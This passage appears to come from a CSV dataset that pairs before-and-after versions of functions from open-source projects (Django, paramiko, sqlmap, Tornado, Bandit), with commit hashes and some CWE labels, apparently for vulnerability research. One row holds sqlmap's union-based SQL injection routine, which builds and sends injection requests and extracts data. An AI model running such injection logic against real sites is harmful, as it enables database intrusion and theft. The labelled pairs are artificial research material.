        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name not in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_field.null and
            not new_field.null and
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            self._delete_primary_key(model, strict)
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
                    ),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
                    ),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,a38ae914d89809aed6d79337b74a8b31b6d3849a,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    continue
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_field.null and
            not new_field.null and
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            self._delete_primary_key(model, strict)
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
                    ),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
                    ),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_transport.py,0,"def check_channel_exec_request(self, channel, command):
        if command != 'yes':
            return False
        return True",,paramiko/paramiko,b2eb38483ca3cc7e64342c029cf17e203e915244,"def check_channel_exec_request(self, channel, command):
        if command != 'yes':
            return False
        self.exec_channel = channel
        return True"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/use.py,0,"def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """"""
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = """"

    global reqCount

    if resetCounter:
        reqCount = 0

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = ""the SQL query used returns ""
                            infoMsg += ""%d entries"" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the used SQL query. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query used does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query used does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return

                    try:
                        for num in xrange(startLimit, stopLimit):
                                if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                                    field = expressionFieldsList[0]
                                elif kb.dbms == DBMS.ORACLE:
                                    field = expressionFieldsList
                                else:
                                    field = None

                                limitedExpr = agent.limitQuery(num, expression, field)
                                output = resume(limitedExpr, None)

                                if not output:
                                    output = unionUse(limitedExpr, direct=True, unescape=False)

                                if output:
                                    value += output
                                    parseUnionPage(output, limitedExpr)

                                if conf.verbose in (1, 2):
                                    length = stopLimit - startLimit
                                    count = num - startLimit + 1
                                    status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), status), True)

                        dataToStdout(""\n"")

                    except KeyboardInterrupt:
                        print
                        warnMsg = ""Ctrl+C detected in dumping phase""
                        logger.warn(warnMsg)

                    finally:
                        clearConsoleLine(True)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
        payload = agent.payload(newValue=query)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
        logger.debug(debugMsg)

    return value",,sqlmapproject/sqlmap,be6e2d6a31d752273dd724c7802c2318c5bb6ab6,"def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """"""
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = """"

    global reqCount

    if resetCounter:
        reqCount = 0

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = ""the SQL query used returns ""
                            infoMsg += ""%d entries"" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the used SQL query. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query used does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query used does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return

                    try:
                        for num in xrange(startLimit, stopLimit):
                                if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                                    field = expressionFieldsList[0]
                                elif kb.dbms == DBMS.ORACLE:
                                    field = expressionFieldsList
                                else:
                                    field = None

                                limitedExpr = agent.limitQuery(num, expression, field)
                                output = resume(limitedExpr, None)

                                if not output:
                                    output = unionUse(limitedExpr, direct=True, unescape=False)

                                if output:
                                    value += output
                                    parseUnionPage(output, limitedExpr)

                                if conf.verbose in (1, 2):
                                    length = stopLimit - startLimit
                                    count = num - startLimit + 1
                                    status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), status), True)

                        dataToStdout(""\n"")

                    except KeyboardInterrupt:
                        print
                        warnMsg = ""Ctrl+C detected in dumping phase""
                        logger.warn(warnMsg)

                    finally:
                        clearConsoleLine(True)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        query = agent.forgeInbandQuery(expression, exprPosition=vector[0], count=vector[1], comment=vector[2], prefix=vector[3], suffix=vector[4])
        payload = agent.payload(newValue=query)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
        logger.debug(debugMsg)

    return value"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/http.py,0,"def urlencode(query, doseq=False):
    """"""
    A version of Python's urllib.parse.urlencode() function that can operate on
    MultiValueDict and non-string values.
    """"""
    if isinstance(query, MultiValueDict):
        query = query.lists()
    elif hasattr(query, 'items'):
        query = query.items()
    query_params = []
    for key, value in query:
        if isinstance(value, (str, bytes)):
            query_val = value
        else:
            try:
                iter(value)
            except TypeError:
                query_val = value
            else:
                # Consume generators and iterators, even when doseq=True, to
                # work around https://bugs.python.org/issue31706.
                query_val = [
                    item if isinstance(item, bytes) else str(item)
                    for item in value
                ]
        query_params.append((key, query_val))
    return original_urlencode(query_params, doseq)",CWE-Unknown,django/django,51998a2988e076f811ec27bab5de4c17a6ae6828,"def urlencode(query, doseq=False):
    """"""
    A version of Python's urllib.parse.urlencode() function that can operate on
    MultiValueDict and non-string values.
    """"""
    if isinstance(query, MultiValueDict):
        query = query.lists()
    elif hasattr(query, 'items'):
        query = query.items()
    return original_urlencode(
        [(k, [str(i) for i in v] if isinstance(v, (list, tuple)) else str(v))
         for k, v in query],
        doseq
    )"
,UNKNOWN,UNKNOWN,tornado/ioloop.py,1,"def add_future(self, future, callback):
        """"""Schedules a callback on the ``IOLoop`` when the given
        `.Future` is finished.

        The callback is invoked with one argument, the
        `.Future`.
        """"""
        assert is_future(future)
        callback = stack_context.wrap(callback)
        future_add_done_callback(
            future, lambda future: self.add_callback(callback, future))",CWE-703,tornadoweb/tornado,0a1565aba237d7a611d1e7dd6d5e47a2b166f21d,"def add_future(self, future, callback):
        """"""Schedules a callback on the ``IOLoop`` when the given
        `.Future` is finished.

        The callback is invoked with one argument, the
        `.Future`.
        """"""
        assert is_future(future)
        callback = stack_context.wrap(callback)
        future_add_done_callback(future,
                           lambda future: self.add_callback(callback, future))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/core/test_manager.py,0,"def test_discover_files_exclude_glob(self, isdir):
        isdir.return_value = False
        self.manager.discover_files(
            [""a.py"", ""test_a.py"", ""test.py""], True, excluded_paths=""test_*.py""
        )
        self.assertEqual([""./a.py"", ""./test.py""], self.manager.files_list)
        self.assertEqual([""test_a.py""], self.manager.excluded_files)",UNKNOWN,PyCQA/bandit,12e14f61e91aafdf0767d3e8c2193174b9808652,"def test_discover_files_exclude_glob(self, isdir):
        isdir.return_value = False
        self.manager.discover_files(
            [""a.py"", ""test_a.py"", ""test.py""], True, excluded_paths=""test_*.py""
        )
        self.assertEqual([""a.py"", ""test.py""], self.manager.files_list)
        self.assertEqual([""test_a.py""], self.manager.excluded_files)"
,UNKNOWN,UNKNOWN,extra/vulnserver/vulnserver.py,1,"def do_REQUEST(self):
        path, query = self.path.split('?', 1) if '?' in self.path else (self.path, """")
        params = {}

        if query:
            params.update(parse_qs(query))

